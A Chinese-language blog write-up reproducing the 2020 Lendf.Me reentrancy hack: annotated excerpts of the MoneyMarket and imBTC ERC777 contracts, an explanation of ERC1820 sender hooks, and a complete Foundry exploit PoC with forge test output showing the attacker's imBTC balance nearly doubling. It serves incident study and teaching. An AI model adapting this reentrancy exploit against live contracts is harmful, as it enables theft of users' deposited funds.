Skip to main content

Command Palette

Search for a command to run...

defi 攻击复现 LendfMe

Published
10 min readView as Markdown
C
酷愛計算機技術Ardently Love Computer Technology 長期關註反洗錢反欺詐Long-term Focus on Anti-Money Laundering and Anti-Fraud 精通支付結算的技術、系統、流程和製度Proficient in the Technology, System, Process and Institution of Payment and Settlement

按照 https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-04/LendfMe_exp.sol

的注释 找到 MoneyMarket 的合约地址和该笔攻击交易

  • 受害者 LendfMe(MoneyMarket) 部分源码

合约地址 0x0eEe3E3828A45f7601D5F54bF49bB01d1A9dF5ea

line 400-426
    function doTransferIn(address asset, address from, uint amount) internal returns (Error) {
        EIP20NonStandardInterface token = EIP20NonStandardInterface(asset);
        bool result;
        token.transferFrom(from, address(this), amount);
...
        return Error.NO_ERROR;
    }

line 645-662
contract MoneyMarket is Exponential, SafeToken {
...
    uint constant initialInterestIndex = 10 ** 18;
    uint constant defaultOriginationFee = 0; // default is zero bps
...
    /**
      * @notice `MoneyMarket` is the core Compound MoneyMarket contract
      */
    constructor() public {
        admin = msg.sender;
        collateralRatio = Exp({mantissa: 2 * mantissaOne});
        originationFee = Exp({mantissa: defaultOriginationFee});
        liquidationDiscount = Exp({mantissa: 0});
        // oracle must be configured via _setOracle
    }

line 701-704
    /**
      * @dev 2-level map: customerAddress -> assetAddress -> balance for supplies
      */
    mapping(address => mapping(address => Balance)) public supplyBalances;

line 713-739
   /**
      * @dev Container for per-asset balance sheet and interest rate information written to storage, intended to be stored in a map where the asset address is the key
      *
      *      struct Market {
      *         isSupported = Whether this market is supported or not (not to be confused with the list of collateral assets)
      *         blockNumber = when the other values in this struct were calculated
      *         totalSupply = total amount of this asset supplied (in asset wei)
      *         supplyRateMantissa = the per-block interest rate for supplies of asset as of blockNumber, scaled by 10e18
      *         supplyIndex = the interest index for supplies of asset as of blockNumber; initialized in _supportMarket
      *         totalBorrows = total amount of this asset borrowed (in asset wei)
      *         borrowRateMantissa = the per-block interest rate for borrows of asset as of blockNumber, scaled by 10e18
      *         borrowIndex = the interest index for borrows of asset as of blockNumber; initialized in _supportMarket
      *     }
      */
    struct Market {
        bool isSupported;
        uint blockNumber;
        InterestRateModel interestRateModel;
        uint totalSupply;
        uint supplyRateMantissa;
        uint supplyIndex;
        uint totalBorrows;
        uint borrowRateMantissa;
        uint borrowIndex;
    }

line 1478-1605
    /**
      * The `SupplyLocalVars` struct is used internally in the `supply` function.
      *
      * To avoid solidity limits on the number of local variables we:
      * 1. Use a struct to hold local computation localResults
      * 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults
      *    requires either both to be declared inline or both to be previously declared.
      * 3. Re-use a boolean error-like return variable.
      */
    struct SupplyLocalVars {
        uint startingBalance;
        uint newSupplyIndex;
        uint userSupplyCurrent;
        uint userSupplyUpdated;
        uint newTotalSupply;
        uint currentCash;
        uint updatedCash;
        uint newSupplyRateMantissa;
        uint newBorrowIndex;
        uint newBorrowRateMantissa;
    }
    /**
      * @notice supply `amount` of `asset` (which must be supported) to `msg.sender` in the protocol
      * @dev add amount of supported asset to msg.sender's account
      * @param asset The market asset to supply
      * @param amount The amount to supply
      * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
      */
    function supply(address asset, uint amount) public returns (uint) {
...
        Market storage market = markets[asset];
        Balance storage balance = supplyBalances[msg.sender][asset];

        SupplyLocalVars memory localResults; // Holds all our uint calculation results
        Error err; // Re-used for every function call that includes an Error in its return value(s).
        uint rateCalculationResultCode; // Used for 2 interest rate calculation calls
...
        (err, localResults.userSupplyCurrent) = calculateBalance(balance.principal, balance.interestIndex, localResults.newSupplyIndex);
        if (err != Error.NO_ERROR) {
            return fail(err, FailureInfo.SUPPLY_ACCUMULATED_BALANCE_CALCULATION_FAILED);
        }

        (err, localResults.userSupplyUpdated) = add(localResults.userSupplyCurrent, amount);
        if (err != Error.NO_ERROR) {
            return fail(err, FailureInfo.SUPPLY_NEW_TOTAL_BALANCE_CALCULATION_FAILED);
...
        err = doTransferIn(asset, msg.sender, amount);
        if (err != Error.NO_ERROR) {
            // This is safe since it's our first interaction and it didn't do anything if it failed
            return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_FAILED);
        }

        // Save market updates
        market.blockNumber = getBlockNumber();
        market.totalSupply =  localResults.newTotalSupply;
        market.supplyRateMantissa = localResults.newSupplyRateMantissa;
        market.supplyIndex = localResults.newSupplyIndex;
        market.borrowRateMantissa = localResults.newBorrowRateMantissa;
        market.borrowIndex = localResults.newBorrowIndex;

        // Save user updates
        localResults.startingBalance = balance.principal; // save for use in `SupplyReceived` event
        balance.principal = localResults.userSupplyUpdated;
        balance.interestIndex = localResults.newSupplyIndex;

        emit SupplyReceived(msg.sender, asset, amount, localResults.startingBalance, localResults.userSupplyUpdated);

        return uint(Error.NO_ERROR); // success
    }

line 1634-1661
    function withdraw(address asset, uint requestedAmount) public returns (uint) {
...
        Market storage market = markets[asset];
        Balance storage supplyBalance = supplyBalances[msg.sender][asset];

        WithdrawLocalVars memory localResults; // Holds all our calculation results
        Error err; // Re-used for every function call that includes an Error in its return value(s).
        uint rateCalculationResultCode; // Used for 2 interest rate calculation calls
...
        (err, localResults.userSupplyCurrent) = calculateBalance(supplyBalance.principal, supplyBalance.interestIndex, localResults.newSupplyIndex);
        if (err != Error.NO_ERROR) {
            return fail(err, FailureInfo.WITHDRAW_ACCUMULATED_BALANCE_CALCULATION_FAILED);
        }
...

漏洞出现在 supply 函数。在supply函数的开头,申请了临时变量localResults,然后将用户的余额保存在 localResults.userSupplyCurrent 中

        SupplyLocalVars memory localResults; // Holds all our uint calculation results
...
        (err, localResults.userSupplyCurrent) = calculateBalance(balance.principal, balance.interestIndex, localResults.newSupplyIndex);
...
        err = doTransferIn(asset, msg.sender, amount);
...

在 supply 函数的最后,用户存入成功后,将用户的余额进行更新,此时最后用户的余额为 localResults.userSupplyUpdated

        balance.principal = localResults.userSupplyUpdated;

在更新用户余额之前,supply调用了 doTransferIn 函数

    function doTransferIn(address asset, address from, uint amount) internal returns (Error) {
        EIP20NonStandardInterface token = EIP20NonStandardInterface(asset);
        bool result;
        token.transferFrom(from, address(this), amount);
...
  • IMBTC部分源码

合约地址 0x3212b29E33587A00FB1C83346f5dBFA69A458923

line 599-637
contract EarnERC777 is IERC777, IERC20 {
...
    IERC1820Registry internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
...
    // We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
    // See https://github.com/ethereum/solidity/issues/4024.

    // keccak256("ERC777TokensSender")
    bytes32 constant internal TOKENS_SENDER_INTERFACE_HASH =
        0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;

    // keccak256("ERC777TokensRecipient")
    bytes32 constant internal TOKENS_RECIPIENT_INTERFACE_HASH =
        0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;

    //Empty, This is only used to respond the defaultOperators query.
    address[] internal _defaultOperatorsArray;
...


line 860-875
    function _transferFrom(address holder, address recipient, uint256 amount) internal returns (bool) {
        require(recipient != address(0), "ERC777: transfer to the zero address");
        require(holder != address(0), "ERC777: transfer from the zero address");

        address spender = msg.sender;

        _callTokensToSend(spender, holder, recipient, amount, "", "");

        _move(spender, holder, recipient, amount, "", "");

        _approve(holder, spender, _allowances[holder][spender].sub(amount));

        _callTokensReceived(spender, holder, recipient, amount, "", "", false);

        return true;
    }

line 1044-1058
    function _callTokensToSend(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes memory userData,
        bytes memory operatorData
    )
        internal
    {
        address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
        if (implementer != address(0)) {
            IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
        }
    }

在 doTransferIn 函数中,调用了 imBTC 合约的 transferFrom 函数

    function _transferFrom(address holder, address recipient, uint256 amount) internal returns (bool) {
...
        _callTokensToSend(spender, holder, recipient, amount, "", "");

imBTC 合约的 transferFrom 函数中,接着调用 _callTokensToSend 函数

       if (implementer != address(0)) {
            IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);

在 _callTokensToSend 函数中,通过 ERC1820 注册了 ERC777Sender 实现接口, 因此这里必须调用用户的 tokensToSend 钩子函数,这里就是攻击者重入漏洞发生的地方,攻击者在这里调用了 LendfMe 合约的 withdraw() 函数,此时合约执行流程从 supply 进入到了 withdraw 函数中

  • ERC777
function _send(address from,address to,uint256 amount,bytes memory userData,bytes memory operatorData,bool requireReceptionAck) internal {
    require(from != address(0), "ERC777: send from the zero address");
    require(to != address(0), "ERC777: send to the zero address");
    address operator = _msgSender();
    //调用发送钩子
    _callTokensToSend(operator, from, to, amount, userData, operatorData);
    _move(operator, from, to, amount, userData, operatorData);
    //调用接收钩子
    _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}

//发送钩子
function _callTokensToSend(address operator,address from,address to,uint256 amount,bytes memory userData,bytes memory operatorData) private {
    //获取发送账户的接口地址
    address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH);
    if (implementer != address(0)) {
        //执行接口地址的tokensToSend方法
        IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
    }
}
//接收钩子
function _callTokensReceived(address operator,address from,address to,uint256 amount,bytes memory userData,bytes memory operatorData,bool requireReceptionAck) private {
    //获取接收账户的接口地址
    address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH);
    if (implementer != address(0)) {
        //执行接口地址的tokensReceived方法
        IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
    } else if (requireReceptionAck) {
        //如果requireReceptionAck为true则必须执行接口方法,以防止代币被锁死
        require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient");
    }
}

ERC1820 有三个身份,分别是:目标地址 target、管理者 manager、实现者 implementer

//ERC1820注册表合约地址,全网统一
    IERC1820Registry internal constant ERC1820_REGISTRY = IERC1820Registry( 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);

setInterfaceImplementer 作用:设置接口实现者

function setInterfaceImplementer(address _addr, bytes32 _interfaceHash, address _implementer) external;

若是为自己实现接口,默认 addr 和 implementer 是同一个地址

  • 用到的所有接口
contracts/interfaces/IERC777.sol

interface ERC777Token {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address holder) external view returns (uint256);

    // 定义代币最小的划分粒度
    function granularity() external view returns (uint256);

    // 操作员 相关的操作(操作员是可以代表持有者发送和销毁代币的账号地址)
    function defaultOperators() external view returns (address[] memory);
    function isOperatorFor(
        address operator,
        address holder
    ) external view returns (bool);
    function authorizeOperator(address operator) external;
    function revokeOperator(address operator) external;

    // 发送代币
    function send(address to, uint256 amount, bytes calldata data) external;
    function operatorSend(
        address from,
        address to,
        uint256 amount,
        bytes calldata data,
        bytes calldata operatorData
    ) external;

    // 销毁代币
    function burn(uint256 amount, bytes calldata data) external;
    function operatorBurn(
        address from,
        uint256 amount,
        bytes calldata data,
        bytes calldata operatorData
    ) external;

    // 发送代币事件
    event Sent(
        address indexed operator,
        address indexed from,
        address indexed to,
        uint256 amount,
        bytes data,
        bytes operatorData
    );

    // 铸币事件
    event Minted(
        address indexed operator,
        address indexed to,
        uint256 amount,
        bytes data,
        bytes operatorData
    );

    // 销毁代币事件
    event Burned(
        address indexed operator,
        address indexed from,
        uint256 amount,
        bytes data,
        bytes operatorData
    );

    // 授权操作员事件
    event AuthorizedOperator(
        address indexed operator,
        address indexed holder
    );

    // 撤销操作员事件
    event RevokedOperator(address indexed operator, address indexed holder);
}
contracts/interfaces/IERC777Sender.sol

interface IERC777Sender {
    function tokensToSend(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    ) external;
}
contracts/interfaces/IERC777Recipient.sol

interface IERC777Recipient {
    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    ) external;
}
contracts/interfaces/IERC1820Registry.sol

interface IERC1820Registry {
    event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);

    event ManagerChanged(address indexed account, address indexed newManager);

    function setManager(address account, address newManager) external;

    function getManager(address account) external view returns (address);

    function setInterfaceImplementer(address account, bytes32 _interfaceHash, address implementer) external;

    function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address);

    function interfaceHash(string calldata interfaceName) external pure returns (bytes32);

    function updateERC165Cache(address account, bytes4 interfaceId) external;

    function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);

    function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
}
contracts/interfaces/IERC1820Implementer.sol

interface IERC1820Implementer {
    function canImplementInterfaceForAddress(bytes32 interfaceHash, address account) external view returns (bytes32);
}
  1. 所有的ERC777 合约除了必须实现上述接口

  2. ERC777 合约必须要通过 ERC1820 注册 ERC777Token 接口,这样任何人都可以查询合约是否是ERC777标准的合约,注册方法是: 调用ERC1820 注册合约的 setInterfaceImplementer 方法,参数 addr implementer 均是合约的地址,_interfaceHash 是 ERC777Token 的 keccak256 哈希值(0xac7fbab5...177054)

  3. 如果 ERC777 要实现ERC20标准,还必须通过ERC1820 注册ERC20Token接口

imBTC 就是 ERC777 代币,所以 _callTokensToSend 函数中通过 ERC1820 注册了 ERC777Sender

实现接口 _callTokensToSend 函数先通过注册表 getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH) 查看 tokenHolder 用来实现 IERC777TokensSender 接口的合约地址 ADDRESS,如果有则调用 ADDRESS 中的 tokensToSend 函数

  • 以上过程

LendfMe 合约的 supply 函数 ---> supply 函数内部 doTransferIn 函数 ---> 用户(攻击者合约)存入资产 imBTC, imBTC 合约的 transferFrom 函数 ---> transferFrom 函数内部 _callTokensToSend 函数 ---> _callTokensToSend 函数内部,获取实现 IERC777TokensSender 接口[实现者]合约地址 ---> 调用该[实现者]合约的 tokensToSend 函数

  • EXP
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

/*
Lendf.Me Reentry Exploit PoC

See https://peckshield.medium.com/uniswap-lendf-me-hacks-root-cause-and-loss-analysis-50f3263dcc09 for more detail

Example tx - https://etherscan.io/tx/0xae7d664bdfcc54220df4f18d339005c6faf6e62c9ca79c56387bc0389274363b
*/

// 按照 Lendf.Me 公开的代码, contract MoneyMarket 是 Compound MoneyMarket 合约的核心;将它定义为接口;本次漏洞主要涉及两个函数 supply 和 withdraw ,与 Lendf.Me 原本定义格式相同
interface IMoneyMarket {
    function supply(address asset, uint256 amount) external returns (uint256);

    function withdraw(address asset, uint256 requestedAmount) external returns (uint256);
}

//攻击合约
contract LendfMeExploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
// 按照 foundry 说明文档,通过使用作弊码地址(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)来提供作弊码

    address bancorAddress = 0x5f58058C0eC971492166763c8C22632B583F667f;
// bancor 协议地址,与定价有关

    address victim = 0x0eEe3E3828A45f7601D5F54bF49bB01d1A9dF5ea;
// 受害者地址,即 Lendf.Me 地址

    address attacker = 0xA9BF70A420d364e923C74448D9D817d3F2A77822;
// 攻击者地址,攻击者合约 0x538359785a8D5AB1A741A0bA94f26a800759D91D 的 creator

    IERC20 imBTC = IERC20(0x3212b29E33587A00FB1C83346f5dBFA69A458923);
// The Tokenized Bitcoin (imBTC) 地址,传入 IERC20 接口,该实例可以使用 ERC20 的函数

    IERC1820Registry internal erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
// ERC1820注册表合约地址,全网统一

    bytes32 internal constant TOKENS_SENDER_INTERFACE_HASH =
        0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// 根据 EIP-777 "ERC777TokensSender" 进行 keccak256 运算得出的哈希值就是 0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895

    function setUp() public {
        cheats.createSelectFork("mainnet", 9_899_725);// 分叉攻击发生的区块
    }

// 自定义 tokensToSend 函数,按照 IERC777Sender.sol 的函数格式
    function tokensToSend(
        address, // operator
        address, // from
        address, // to
        uint256 amount,
        bytes calldata, // userData
        bytes calldata // operatorData
    ) external {
        if (amount == 1) {
            IMoneyMarket(victim).withdraw(address(imBTC), type(uint256).max);
// 转移数量等于 1 时,调用受害者合约地址的 withdraw 函数,该函数的传入参数:提取[资产imBTC],提取数量[最大值]
        }
    }

//攻击测试函数
    function testExploit() public {
        emit log_named_uint("[Before Attack]Victim imBTC Balance : ", (imBTC.balanceOf(victim)));
        emit log_named_uint("[Before Attack]Attacker imBTC Balance : ", (imBTC.balanceOf(attacker)));

        // prepare
        imBTC.approve(victim, type(uint256).max);
// imBTC 授权给受害者合约最大的数量

        erc1820.setInterfaceImplementer(address(this), TOKENS_SENDER_INTERFACE_HASH, address(this));
// 把当前合约[即攻击合约]设置为 ERC777TokensSender 的实现合约。传入的 3 个参数依次为:目标地址,实现接口的哈希值[实际上就是 ERC777TokensSender 的哈希值],实现者

        // move
        cheats.startPrank(attacker);// 按照 foundry 说明文档,startPrank 函数设置 attacker 用于所有后续调用,直到调用 stopPrank 为止
        imBTC.transfer(address(this), imBTC.balanceOf(attacker));// 把攻击者地址的 imBTC 余额转到当前的攻击合约
        cheats.stopPrank();// 停止使用攻击者地址

        // attack
        uint256 this_balance = imBTC.balanceOf(address(this));
// 获得当前的攻击合约的 imBTC 资产余额

        uint256 victim_balance = imBTC.balanceOf(victim);
// 获得受害者合约的 imBTC 资产余额

        if (this_balance > (victim_balance + 1)) {
            this_balance = victim_balance + 1;
        }
// 如果[当前的攻击合约的 imBTC 资产余额]大于[受害者合约的 imBTC 资产余额+ 1],就让[当前的攻击合约的 imBTC 资产余额]等于[受害者合约的 imBTC 资产余额+ 1];目的就是二者差额始终是 1

        IMoneyMarket(victim).supply(address(imBTC), this_balance - 1);
// 调用受害者合约的 supply 函数,传入参数:资产类型 imBTC ,数量 [当前的攻击合约的 imBTC 资产余额- 1];也就是第一次存入

        IMoneyMarket(victim).supply(address(imBTC), 1);
//  调用受害者合约的 supply 函数,传入参数:资产类型 imBTC ,数量 1;也就是第二次存入

        IMoneyMarket(victim).withdraw(address(imBTC), type(uint256).max);
//  调用受害者合约的 withdraw 函数,传入参数:资产类型 imBTC ,数量 最大值;

        // transfer benefit back to the attacker
        IERC20(imBTC).transfer(attacker, IERC20(imBTC).balanceOf(address(this)));
// 把当前的攻击合约的 imBTC 资产余额全部转给攻击者

        emit log_string("--------------------------------------------------------------");
        emit log_named_uint("[After Attack]Victim imBTC Balance : ", (imBTC.balanceOf(victim)));
        emit log_named_uint("[After Attack]Attacker imBTC Balance : ", (imBTC.balanceOf(attacker)));
    }
}

使用 forge 命令测试结果

$ forge test LendfMe_exp.t.sol -vvv
[⠢] Compiling...

Ran 1 test for test/LendfMe_exp.t.sol:LendfMeExploit
[PASS] testExploit() (gas: 629115)
Logs:
  [Before Attack]Victim imBTC Balance : : 29134710218
  [Before Attack]Attacker imBTC Balance : : 21595
  --------------------------------------------------------------
  [After Attack]Victim imBTC Balance : : 29134688624
  [After Attack]Attacker imBTC Balance : : 43189

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 26.87s (24.71s CPU time)
Ran 1 test suite in 26.89s (26.87s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

攻击之前:攻击者合约 imBTC 余额 21595

攻击:分两笔存入 LendfMe ,第一笔存入 21594,正常调用;第二笔存入 1,发生重入,调用了 withdraw 函数。此时 LendfMe 合约对攻击者合约的余额[临时变量 localResults.userSupplyCurrent ]记录为 imBTC 余额 21594,提取该余额记录 21594

攻击之后:此时攻击者合约的余额 21595+21594=43189

  • 主要参考文章
https://etherscan.io/tx/0xae7d664bdfcc54220df4f18d339005c6faf6e62c9ca79c56387bc0389274363b

https://etherscan.io/token/0x3212b29e33587a00fb1c83346f5dbfa69a458923#code

https://etherscan.io/address/0x0eee3e3828a45f7601d5f54bf49bb01d1a9df5ea#code

https://learnblockchain.cn/article/894
零时科技:DeFi 项目 Lendf.Me 遭黑客攻击复盘分析

https://learnblockchain.cn/article/17282
什么是 ERC-1820 注册合约?

https://learnblockchain.cn/article/9315
理解ERC1820标准

https://learnblockchain.cn/article/993
给你的ERC777代币制作一个自己的专属账本

https://learnblockchain.cn/article/7996
深入剖析 ERC777

https://learnblockchain.cn/index.php/article/12430
SlowMist:Lendf.Me 重入攻击的详细信息

https://www.jianshu.com/p/5a07f4bee9f9
ERC777 功能型Token最佳实践

https://eips.ethereum.org/EIPS/eip-777

https://eips.ethereum.org/EIPS/eip-1820

More from this blog

Penetration Test、Python、Weaponization

721 posts

微信 smartcat9999 反欺詐Anti-Fraud 反洗錢Anti-Money Laundering 反逃稅Anti-Tax Evasion 滲透測試Penetration Test 武器化Weaponization